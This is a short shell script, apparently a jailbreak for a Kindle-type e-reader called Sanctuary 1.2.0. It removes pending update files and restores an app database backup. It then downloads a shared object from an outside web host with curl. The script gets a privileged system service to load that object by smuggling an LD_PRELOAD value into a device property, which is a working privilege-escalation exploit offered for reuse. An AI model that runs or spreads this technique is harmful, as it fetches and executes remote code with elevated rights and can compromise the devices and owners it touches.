#!/bin/sh
# privesc.sh by Ava
# Feel free to use and modify for other JBs, just include this message

# Cleanup previous runs
rm /tmp/jb.so
rm /var/local/jb.sh
rm /mnt/us/jb.sh.debug
rm /mnt/us/jb.sh.log

# Define logging function
POS=1
sp_log() {
  echo "${1}" >> /mnt/us/sanct_privesc.log
  eips 0 $POS "${1}"
  echo "${1}"
  POS=$((POS+1))
}

sp_log "Sanctuary 1.2.0"
# Restoring appreg.db backup
# This used to be a SQL command followed by a SHA hash check, lol
sp_log "Restoring appreg.db from backup"
cp /var/local/appreg.db.bak /var/local/appreg.db
sp_log "DB restored"

# Check for update files in /mnt/us, if they are present, remove them
sp_log "Checking for update files in /mnt/us"
if ls /mnt/us/*.bin* 1> /dev/null 2>&1; then
    sp_log "Update files found, removing..."
    rm -f /mnt/us/*.bin*
    sp_log "Update files removed"
else
    sp_log "No update files found"
fi

# File grabbing

sp_log "Grabbing jb.so"
if curl --fail --location --show-error --silent --output "/tmp/jb.so" "https://copyparty.tene7.com/public/Sanctuary/jb.so"; then
    sp_log "Success: jb.so downloaded to /tmp/jb.so"
else
    sp_log "Error: jb.so download failed!" >&2
    exit 1
fi

# Privilege escalation
touch /mnt/us/jb.sh.debug
chmod +x /tmp/jb.so
sp_log "Performing privilege escalation"
lipc-set-prop com.lab126.system updateWaveform "LD_PRELOAD=/tmp/jb.so"
sp_log "Privilege escalation request submitted"

# Cleanup
# Wait for jb.sh to start
# wait 3 
# PID=$(pgrep -f "jb.sh")
# sp_log "Waiting for jb.sh to finish (PID: $PID)"
# wait $PID
# sp_log "jb.sh finished, cleaning up"
# rm -f /var/local/jb.sh /mnt/us/jb.sh.debug /tmp/jb.so
# sp_log "Cleanup complete, log files not deleted"
# sp_log "privesc.sh finished"